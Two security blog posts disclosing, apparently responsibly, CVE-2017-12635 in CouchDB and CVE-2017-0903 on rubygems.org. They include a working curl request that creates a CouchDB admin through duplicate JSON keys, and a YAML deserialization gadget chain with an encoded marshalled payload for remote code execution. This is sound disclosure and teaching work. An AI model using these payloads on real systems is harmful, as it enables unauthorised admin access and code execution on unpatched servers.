Remote Code Execution in CouchDB

2017-11-14T00:00:00-08:00

tl;dr There was a vulnerability in CouchDB caused by a discrepancy between the database’s native JSON parser and the Javascript JSON parser used during document validation. Because CouchDB databases are meant to be exposed directly to the internet, this enabled privilege escalation, and ultimately remote code execution, on a large number of installations. ~~If it had been exploited, this bug could have allowed for the modification of arbitrary packages in the npm registry.~~ [edit: I’m wrong, and the main npm registry is unaffected. See correction below. My bad!] CVE-2017-12635

Background

Last time, I wrote about a deserialization bug leading to code execution on rubygems.org, a repository of dependencies for ruby programs. The ability to inject malware into upstream project dependencies is a scary attack vector, and one from which I doubt most organizations are adequately protected.

With this in mind, I started searching for bugs in registry.npmjs.org, the server responsible for distributing npm packages. According to their homepage, the npm registry serves more than 3 billion (!) package downloads per week.

CouchDB

The npm registry uses CouchDB, which I hadn’t heard of before this project. The basic idea is that it’s a “NoSQL” database that makes data replication very easy. It’s sort of like a big key-value store for JSON blobs (“documents”), with features for data validation, querying, and user authentication, making it closer to a full-fledged database. CouchDB is written in Erlang, but allows users to specify document validation scripts in Javascript. These scripts are automatically evaluated when a document is created or updated. They start in a new process, and are passed JSON-serialized documents from the Erlang side.

CouchDB manages user accounts through a special database called _users. When you create or modify a user in a CouchDB database (usually by doing a PUT to /_users/org.couchdb.user:your_username), the server checks your proposed change with a Javascript validate_doc_update function to ensure that you’re not, for example, attempting to make yourself an administrator.

Vulnerability

The problem is that there is a discrepancy between the Javascript JSON parser (used in validation scripts) and the one used internally by CouchDB, called jiffy. Check out how each one deals with duplicate keys on an object like {"foo":"bar", "foo":"baz"}:

Erlang:

> jiffy:decode("{\"foo\":\"bar\", \"foo\":\"baz\"}"). 
{[{<<"foo">>,<<"bar">>},{<<"foo">>,<<"baz">>}]}

Javascript:

> JSON.parse("{\"foo\":\"bar\", \"foo\": \"baz\"}")
{foo: "baz"}

For a given key, the Erlang parser will store both values, but the Javascript parser will only store the last one. Unfortunately, the getter function for CouchDB’s internal representation of the data will only return the first value:

% Within couch_util:get_value 
lists:keysearch(Key, 1, List).

And so, we can bypass all of the relevant input validation and create an admin user thusly:

curl -X PUT 'http://localhost:5984/_users/org.couchdb.user:oops'
--data-binary '{
  "type": "user",
  "name": "oops",
  "roles": ["_admin"],
  "roles": [],
  "password": "password"
}'

In Erlang land, we’ll see ourselves as having the _admin role, while in Javascript land we appear to have no special permissions. Fortunately for the attacker, almost all of the important logic concerning authentication and authorization, aside from the input validation script, occurs the Erlang part of CouchDB.

Now that we have an administrator account, we have complete control of the database. Getting a shell from here is usually easy since CouchDB lets you define custom query_server languages through the admin interface, a feature which is basically just a wrapper around execv. One funny feature of this exploit is that it’s slightly tricky to detect through the web GUI; if you try to examine the user we just created through the admin console, the roles field will show up empty since it’s parsed in Javascript before being displayed!

Impact on npm

I’ve been trying to figure out exactly how npm was affected by this bug. Since I didn’t actually exploit the vulnerability against any of npm’s production servers, I have to make educated guesses about which parts of the infrastructure were vulnerable to which parts of the attack, based on publicly available information.

I am almost certain that registry.npmjs.org was vulnerable to the privilege escalation/admin account creation part of this attack, which would have allowed an attacker to modify packages. This is because user creation on npm is more or less identical to the vanilla CouchDB user creation flow. Then, after authenticating as our newly created admin user, the user context passed to subsequent validation scripts will have the _admin role visible, allowing us to pass the isAdmin check in one of the registry’s validation docs. That said, as far as I can tell from what’s on Github, their production server doesn’t provide a route to the administrator’s configuration API, meaning I’m not sure if the bug could have enabled RCE on that server. [edit: It turns out that registry.npmjs.org simply exposes an identical API to the CouchDB user creation flow in order to maintain backwards compatibility with old clients. It has been using a custom authentication system since early 2015, and is therefore not vulnerable to my attack. The skim database mentioned below was affected by the bug, however. I apologize for being completely wrong in the initial version of this blog post!]

Npm also exposes a “skim database” which does look like it would have been vulnerable to the RCE part of the attack, but it’s unclear to me how that database is used in the infrastructure today. There’s a blog post from 2014 which indicates that all writes go to the skimdb, but I don’t know if this is still true.

Conclusion

It’s probably a bad idea to use more than one parser to process the same data. If you have to, perhaps because your project uses multiple languages like in CouchDB, do your best to ensure that there aren’t any functional differences between the parsers like there were here. It’s unfortunate that the JSON standard does not specify the behavior of duplicate keys.

Thanks to the CouchDB team for having a published security@ email address and working quickly to get this fixed.

Shameless plug

Remote Code Execution on rubygems.org

2017-10-07T00:00:00-07:00

tl;dr Remote code execution via a deserialization vulnerability on rubygems.org, a very popular hosting service for ruby dependencies. A fix was rolled out quickly. Read the official announcement here. CVE-2017-0903

If you have ever written a ruby application, it is very likely that you have interacted with rubygems.org. You’ve probably even trusted that site to run arbitrary programs on your computer. When you run, for example, gem install rails, the gem utility fetches the rails gem and all of its dependencies from rubygems.org, and installs everything into the appropriate places. Anyone can publish gems there after making an account.

Rubygems.org is itself a rails application with a clearly laid out responsible disclosure policy.

Vulnerability

Ruby gems are actually just tar archives, so running tar -xvf foo.gem will ordinarily leave you with three files:

metadata.gz
data.tar.gz
checksums.yaml.gz

These files are pretty much what they look like. All are gzipped. metadata.gz contains a YAML file with information about the gem like its name, author, version, and so on. data.tar.gz contains another tar archive with all the source code. checksums.yaml.gz contains a YAML file with some cryptographic hashes of the gem’s contents.

I was surprised to learn that parsing untrusted YAML is dangerous. I had always figured it was a benign interchange format like JSON. In fact, YAML allows for the encoding of arbitrary objects, much like python’s pickle.

When you upload a gem to rubygems.org, the application calls Gem::Package.new(body).spec. The rubygems gem, where this method lives, uses unsafe calls to YAML.load to load the YAML files in the gem.

However, the authors of rubygems.org knew this (probably as a result of this incident), and as of 2013 were monkey-patching the YAML and gem parsing libraries to only allow the deserialization of a whitelist of classes, eventually switching to using Psych.safe_load in 2015.

Unfortunately, the monkey-patching was insufficient, since it only patched the Gem::Specification#from_yaml method. If we check out what actually happens in that call to #spec, we see that it calls #verify, the important parts of which are reproduced below:

# ...
  @gem.with_read_io do |io|
    Gem::Package::TarReader.new io do |reader|
    read_checksums reader

    verify_files reader
    end
  end

  verify_checksums @digests, @checksums
# ...

Then, in #read_checksums:

# ...
  Gem.load_yaml

  @checksums = gem.seek 'checksums.yaml.gz' do |entry|
    Zlib::GzipReader.wrap entry do |gz_io|
      YAML.load gz_io.read # oops
    end
  end
# ...

OK, so we have a call to YAML.load with input that we control. How can we exploit it? Originally I attempted to have my exploit code run at the time of the YAML.load call itself. This turned out to be more challenging than I had anticipated, because although I could deserialize arbitrary objects, the only actual method calls I could make on those objects were very limited. Psych, the YAML parsing library used here, would let me make calls to methods like #[]=, #init_with, and #marshal_load (not Marshal.load; that would have made exploitation much easier). But for most objects, those methods don’t give an attacker much flexibility, since common practice is for them to just initialize a couple variables and return. It seems plausible that there is some object in some standard rails library with a dangerous #[]= method (as there have been in the past), but I didn’t find one.

Instead, I looked back at the rubygems.org application. What does it do with that @checksums variable, which we can now set to be an instance of any in-scope class? Over in #verify_checksums:

# ...
  checksums.sort.each do |algorithm, gem_digests|
    gem_digests.sort.each do |file_name, gem_hexdigest|
      computed_digest = digests[algorithm][file_name]
# ...

So if we can build an object where calling #sort does something dangerous, we can trigger our exploit. In the end, I came up with the following proof of concept. The payload that actually gets evaled is contained in the base-64 encoded, DEFLATE compressed, marshalled section at the bottom (in this case, it just shells out to run echo "oops"):

SHA1: !ruby/object:Gem::Package::TarReader
  io: !ruby/object:Gem::Package::TarReader::Entry
    closed: false
    header: 'foo'
    read: 0
    io: !ruby/object:ActiveSupport::Cache::MemoryStore
      options: {}
      monitor: !ruby/object:ActiveSupport::Cache::Strategy::LocalCache::LocalStore
        registry: {}
      key_access: {}
      data:
        '3': !ruby/object:ActiveSupport::Cache::Entry
          compressed: true
          value: !binary '\
          eJx1jrsKAjEQRbeQNT4QwQ9Q8hlTRXGL7UTFemMysIGYCZNZ0b/XYsHK8nIO\
          nDtRBGbvJDzxMuRMLABHzIzOSqD0G+jbVMQmhzfLwd4jnphebwUrE0ZAoJrz\
          YQpLE0PCRKGCmSnsWr3p0PW000S56G5eQ91cv9oDpScPC8YyRIG18WOMmGD7\
          /1X1AV+XPlQ='

Starting from the last step and working backwards to the call to #sort:

At the bottom we have an ActiveSupport::Cache::Entry object. The important thing about this object is that when the #value method is called and @compressed is true, it will call Marshal.load on DEFLATE compressed, attacker provided data. The object that is unmarshalled is constructed in such a way that calling just about any method on it will execute the attacker’s code. The exact method used here has been written about before – here is how it works. Unfortunately, we can’t just deserialize this object with YAML to achieve code execution, because it undefs almost all of its methods, including the ones that allow us to set instance variables. It really needs to be loaded with Marshal.load to be useful in this context.

Working our way up, the ActiveSupport::Cache::MemoryStore object holds our malicious unmarshalled object in a hash called @data. Its parent class, ActiveSupport::Cache::Store defines a #read method that calls #read_entry within the MemoryStore. #read_entry basically just grabs the entry out of @data and returns it.

The call to MemoryStore#read comes from a call to Gem::Package::TarReader::Entry#read, which itself is called by Gem::Package::TarReader#each. After the read returns, #size is called on the returned value, which our malicious unmarshalled object does not define, causing our payload to execute.

Finally, because Gem::Package::TarReader specifies include Enumerable, a call to its #sort method will call its #each method, starting the whole chain above.

Conclusion

For me, one of the takeaways here is that YAML is very powerful, and sometimes used in contexts where less expressive (but safer) interchange formats like JSON might be more appropriate. Perhaps in the future, YAML.load could be modified to take a whitelist of classes as an optional parameter, making the deserialization of complex objects an opt-in behavior. YAML.load in its current state should really be named something like YAML.unsafe_load to get the point across, instead of relying on users to know when they should use YAML.safe_load.

Thanks very much to the rubygems.org team for running a responsive bug bounty program.